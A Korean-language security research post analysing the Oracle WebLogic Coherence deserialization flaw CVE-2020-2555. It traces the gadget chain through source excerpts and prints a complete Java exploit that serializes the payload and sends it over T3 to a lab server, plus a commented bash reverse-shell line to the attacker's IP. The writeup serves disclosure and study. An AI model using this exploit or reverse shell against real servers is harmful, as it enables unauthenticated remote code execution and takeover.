Oracle WebLogic Deserialization CVE-2020-2555_1

CVE

라온화이트햇 핵심연구팀 김동민

소개

Oracle WebLogic Deserialization (CVE-2020-2555)

4월 14일 Oracle Fusion Middleware에서 51개의 패치를 포함한 1/4분기 Critical Patch Update(CPU)를 발표하였습니다. 그러나 몇일 뒤 4월 30일 하나의 블로그를 게시하며 고객들에게 긴급패치를 권고하였습니다. 해당 취약점은 Oracle WebLogic Server에 발생한 Deserialization 취약점이며 Remote Code Execution(RCE)이 가능합니다.

/assets/2020-07-01/dm0700.png

Customers should apply the April 2020 Critical Patch Update without delay!

Affected Versions

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0

Analysis

해당 취약점은 Oracle Coherence 라이브러리의 Deserialization 취약점으로, 데이터를 압축/압축해제(Serialize/Deserialize)을 악용하여 인증되지 않은 원격 공격자가 취약한 WebLogic 서버의 T3 포트에 특수하게 제작된 패킷을 요청함으로써, 원격 코드 실행이 가능합니다.

오라클 코히어런스(Oracle Coherence)는 자바 기반의 데이터 그리드 제품으로서, 데이터 캐싱, 데이터 복제, 분산 컴퓨팅 서비스를 제공한다. 코히어런스는 backing map을 사용하여 데이터베이스 이외의 스토리지에서도 안정적인 서비스를 제공할 수 있게 한다. 자바로 구현되어 있지만, 코히어런스*엑스텐드 콤포넌트를 통해서 .NET이나 C++과의 접속도 가능하다. 코히어런스 사용 패턴 중 일부는 오픈 소스이며, 오라클 코히어런스 인큐베이터를 통해 게재 및 지원되고 있다. 이러한 패턴에는 코히어런스로 WAN를 걸친 메시지 송수신, 작업 분산, 데이터 복제 기능 등이 있다. 코히어런스 제품은 본래 탱고솔(Tangosol)사가 개발하였는데, 2007년 4월에 오라클이 그 회사를 매입하였다. 현재는 오라클 퓨전 미들웨어의 컴포넌트 중 하나로 제공되고 있다.

오라클 코히어런스

테스트 환경

Attacker OS Windows 10
Attacker IP 172.16.9.15
Victim OS Ubuntu 18.04
Victim IP 192.168.201.132
Oracle WebLogic Version 12.2.1.4.0

/assets/2020-07-01/dm0701.png

/assets/2020-07-01/dm0702.png

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString(); // <- Called toString()
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}
public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
    if (this.m_comparator instanceof ValueExtractor) {
        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
    } else if (this.m_comparator != null) {
        sb.append(", comparator=").append(this.m_comparator);
    }

    sb.append("])");
    return sb.toString();
}
public E extract(T oTarget) {
    if (oTarget == null) {
        return null;
    } else {
        Class clz = oTarget.getClass();

        try {
            Method method = this.m_methodPrev;
            if (method == null || method.getDeclaringClass() != clz) {
                this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
            }

            return method.invoke(oTarget, this.m_aoParam); // <- Called invoke()
        } catch (NullPointerException var4) {
            throw new RuntimeException(this.suggestExtractFailureCause(clz));
        } catch (Exception var5) {
            throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
        }
    }
}
@JsonbCreator
public ChainedExtractor(@JsonbProperty("extractors") ValueExtractor[] aExtractor) {
    super(aExtractor);
    this.m_nTarget = this.computeTarget();
}
public E extract(Object oTarget) {
    ValueExtractor[] aExtractor = this.getExtractors();
    int i = 0;

    for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
        oTarget = aExtractor[i].extract(oTarget); // Called extract()
    }

    return oTarget;
}

따라서 이를 체이닝하여 아래와 같이 원하는 코드를 실행(RCE)할 수 있게 되었습니다.

// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
    "getMethod",
    new Object[]{"getRuntime", new Class[0]}

);

// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
    "invoke",
    new Object[]{null, new Object[0]}

);

// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
    "exec",
    new Object[]{new String[]{"calc"}}
);

ReflectionExtractor[] extractors = {
    extractor1,
    extractor2,
    extractor3,
};

ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);

Expanded attack surface: Oracle Business Intelligence

Exploit

package com.supeream;

// com.supeream from https://github.com/5up3rc/weblogic_cmd/
// com.tangosol.util.extractor.ChainedExtractor from coherence.jar

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

/*
 * author:Y4er.com
 *
 * gadget:
 *      BadAttributeValueExpException.readObject()
 *          com.tangosol.util.filter.LimitFilter.toString()
 *              com.tangosol.util.extractor.ChainedExtractor.extract()
 *                  com.tangosol.util.extractor.ReflectionExtractor.extract()
 *                      Method.invoke()
 *                      ...
 *                      Runtime.getRuntime.exec()
 */

public class CVE_2020_2555 {

    public static void main(String[] args) throws Exception {
        // Runtime.class.getRuntime()
        ReflectionExtractor extractor1 = new ReflectionExtractor(
                "getMethod",
                new Object[]{"getRuntime", new Class[0]}

        );

        // get invoke() to execute exec()
        ReflectionExtractor extractor2 = new ReflectionExtractor(
                "invoke",
                new Object[]{null, new Object[0]}

        );

        // invoke("exec","calc")
        ReflectionExtractor extractor3 = new ReflectionExtractor(
                "exec",
                new Object[]{new String[]{"galculator"}}
                // new Object[]{new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/172.16.9.15/1004 0>&1"}}
        );

        ReflectionExtractor[] extractors = {
                extractor1,
                extractor2,
                extractor3,
        };

        ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
        LimitFilter limitFilter = new LimitFilter();

        //m_comparator
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, chainedExtractor);

        //m_oAnchorTop
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);

        // BadAttributeValueExpException toString()
        // This only works in JDK 8u76 and WITHOUT a security manager
        // https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, limitFilter);

        // serialize
        byte[] payload = Serializables.serialize(badAttributeValueExpException);

        // T3 send, you can also use python script. weblogic_t3.py
        T3ProtocolOperation.send("192.168.201.132", "7001", payload);

        // test
        serialize(badAttributeValueExpException);
//        deserialize();

    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

/assets/2020-07-01/dm0703.png

대응방안

Oracle Critical Patch Update Advisory - January 2020

Reference